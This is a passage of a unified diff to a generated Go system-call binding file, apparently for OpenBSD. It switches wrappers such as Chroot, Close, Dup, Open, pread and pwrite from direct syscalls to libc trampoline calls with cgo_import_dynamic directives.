+var libc_chown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chown chown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chroot(path string) (err error) { @@ -523,27 +683,35 @@ func Chroot(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chroot_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chroot_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chroot chroot "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Close(fd int) (err error) { - _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_close_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_close_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_close close "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup(fd int) (nfd int, err error) { - r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0) + r0, _, e1 := syscall_syscall(libc_dup_trampoline_addr, uintptr(fd), 0, 0) nfd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -551,33 +719,49 @@ func Dup(fd int) (nfd int, err error) { return } +var libc_dup_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup dup "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup2(from int, to int) (err error) { - _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0) + _, _, e1 := syscall_syscall(libc_dup2_trampoline_addr, uintptr(from), uintptr(to), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup2 dup2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Dup3(from int, to int, flags int) (err error) { - _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_dup3_trampoline_addr, uintptr(from), uintptr(to), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_dup3_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_dup3 dup3 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Exit(code int) { - Syscall(SYS_EXIT, uintptr(code), 0, 0) + syscall_syscall(libc_exit_trampoline_addr, uintptr(code), 0, 0) return } +var libc_exit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_exit exit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -586,43 +770,59 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_faccessat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_faccessat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_faccessat faccessat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchdir(fd int) (err error) { - _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fchdir_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchdir fchdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchflags(fd int, flags int) (err error) { - _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_fchflags_trampoline_addr, uintptr(fd), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchflags fchflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmod(fd int, mode uint32) (err error) { - _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_fchmod_trampoline_addr, uintptr(fd), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmod fchmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { @@ -631,23 +831,31 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fchmodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchmodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchmodat fchmodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchown(fd int, uid int, gid int) (err error) { - _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_fchown_trampoline_addr, uintptr(fd), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchown fchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { @@ -656,27 +864,35 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_fchownat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fchownat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fchownat fchownat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Flock(fd int, how int) (err error) { - _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_flock_trampoline_addr, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_flock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_flock flock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fpathconf(fd int, name int) (val int, err error) { - r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_fpathconf_trampoline_addr, uintptr(fd), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -684,16 +900,24 @@ func Fpathconf(fd int, name int) (val int, err error) { return } +var libc_fpathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fpathconf fpathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstat(fd int, stat *Stat_t) (err error) { - _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstat fstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { @@ -702,71 +926,99 @@ func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall6(libc_fstatat_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatat fstatat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fstatfs(fd int, stat *Statfs_t) (err error) { - _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_fstatfs_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fstatfs_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fstatfs fstatfs "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Fsync(fd int) (err error) { - _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0) + _, _, e1 := syscall_syscall(libc_fsync_trampoline_addr, uintptr(fd), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_fsync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fsync fsync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { - _, _, e1 := Syscall6(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length), uintptr(length>>32), 0, 0) + _, _, e1 := syscall_syscall(libc_ftruncate_trampoline_addr, uintptr(fd), uintptr(length), uintptr(length>>32)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_ftruncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ftruncate ftruncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { - r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getegid_trampoline_addr, 0, 0, 0) egid = int(r0) return } +var libc_getegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getegid getegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_geteuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_geteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_geteuid geteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { - r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getgid_trampoline_addr, 0, 0, 0) gid = int(r0) return } +var libc_getgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgid getgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getpgid_trampoline_addr, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -774,34 +1026,50 @@ func Getpgid(pid int) (pgid int, err error) { return } +var libc_getpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgid getpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgrp() (pgrp int) { - r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpgrp_trampoline_addr, 0, 0, 0) pgrp = int(r0) return } +var libc_getpgrp_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgrp getpgrp "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { - r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpid_trampoline_addr, 0, 0, 0) pid = int(r0) return } +var libc_getpid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpid getpid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { - r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getppid_trampoline_addr, 0, 0, 0) ppid = int(r0) return } +var libc_getppid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getppid getppid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { - r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) + r0, _, e1 := syscall_syscall(libc_getpriority_trampoline_addr, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -809,20 +1077,28 @@ func Getpriority(which int, who int) (prio int, err error) { return } +var libc_getpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpriority getpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrlimit getrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrtable() (rtable int, err error) { - r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getrtable_trampoline_addr, 0, 0, 0) rtable = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -830,20 +1106,28 @@ func Getrtable() (rtable int, err error) { return } +var libc_getrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrtable getrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { - _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrusage_trampoline_addr, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrusage_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrusage getrusage "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getsid_trampoline_addr, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -851,46 +1135,66 @@ func Getsid(pid int) (sid int, err error) { return } +var libc_getsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsid getsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_gettimeofday_trampoline_addr, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_gettimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_gettimeofday gettimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_getuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getuid getuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Issetugid() (tainted bool) { - r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0) + r0, _, _ := syscall_syscall(libc_issetugid_trampoline_addr, 0, 0, 0) tainted = bool(r0 != 0) return } +var libc_issetugid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_issetugid issetugid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, signum syscall.Signal) (err error) { - _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0) + _, _, e1 := syscall_syscall(libc_kill_trampoline_addr, uintptr(pid), uintptr(signum), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_kill_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kill kill "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kqueue() (fd int, err error) { - r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0) + r0, _, e1 := syscall_syscall(libc_kqueue_trampoline_addr, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -898,6 +1202,10 @@ func Kqueue() (fd int, err error) { return } +var libc_kqueue_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kqueue kqueue "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { @@ -906,13 +1214,17 @@ func Lchown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_lchown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lchown lchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Link(path string, link string) (err error) { @@ -926,13 +1238,17 @@ func Link(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_link_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_link_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_link link "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) { @@ -946,23 +1262,31 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er if err != nil { return } - _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_linkat_trampoline_addr, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_linkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_linkat linkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, backlog int) (err error) { - _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0) + _, _, e1 := syscall_syscall(libc_listen_trampoline_addr, uintptr(s), uintptr(backlog), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_listen_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_listen listen "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { @@ -971,13 +1295,17 @@ func Lstat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_lstat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lstat lstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdir(path string, mode uint32) (err error) { @@ -986,13 +1314,17 @@ func Mkdir(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdir mkdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { @@ -1001,13 +1333,17 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkdirat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdirat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdirat mkdirat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifo(path string, mode uint32) (err error) { @@ -1016,13 +1352,17 @@ func Mkfifo(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkfifo_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifo_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifo mkfifo "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifoat(dirfd int, path string, mode uint32) (err error) { @@ -1031,13 +1371,17 @@ func Mkfifoat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkfifoat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifoat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifoat mkfifoat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknod(path string, mode uint32, dev int) (err error) { @@ -1046,13 +1390,17 @@ func Mknod(path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) + _, _, e1 := syscall_syscall(libc_mknod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknod mknod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { @@ -1061,23 +1409,31 @@ func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) + _, _, e1 := syscall_syscall6(libc_mknodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknodat mknodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { - _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) + _, _, e1 := syscall_syscall(libc_nanosleep_trampoline_addr, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_nanosleep_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_nanosleep nanosleep "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Open(path string, mode int, perm uint32) (fd int, err error) { @@ -1086,7 +1442,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) + r0, _, e1 := syscall_syscall(libc_open_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1094,6 +1450,10 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { return } +var libc_open_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_open open "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { @@ -1102,7 +1462,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) + r0, _, e1 := syscall_syscall6(libc_openat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1110,6 +1470,10 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { return } +var libc_openat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_openat openat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pathconf(path string, name int) (val int, err error) { @@ -1118,7 +1482,7 @@ func Pathconf(path string, name int) (val int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_pathconf_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1126,6 +1490,10 @@ func Pathconf(path string, name int) (val int, err error) { return } +var libc_pathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pathconf pathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pread(fd int, p []byte, offset int64) (n int, err error) { @@ -1135,7 +1503,7 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), uintptr(offset>>32)) + r0, _, e1 := syscall_syscall6(libc_pread_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1143,6 +1511,10 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pread_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pread pread "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pwrite(fd int, p []byte, offset int64) (n int, err error) { @@ -1152,7 +1524,7 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), uintptr(offset>>32)) + r0, _, e1 := syscall_syscall6(libc_pwrite_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) 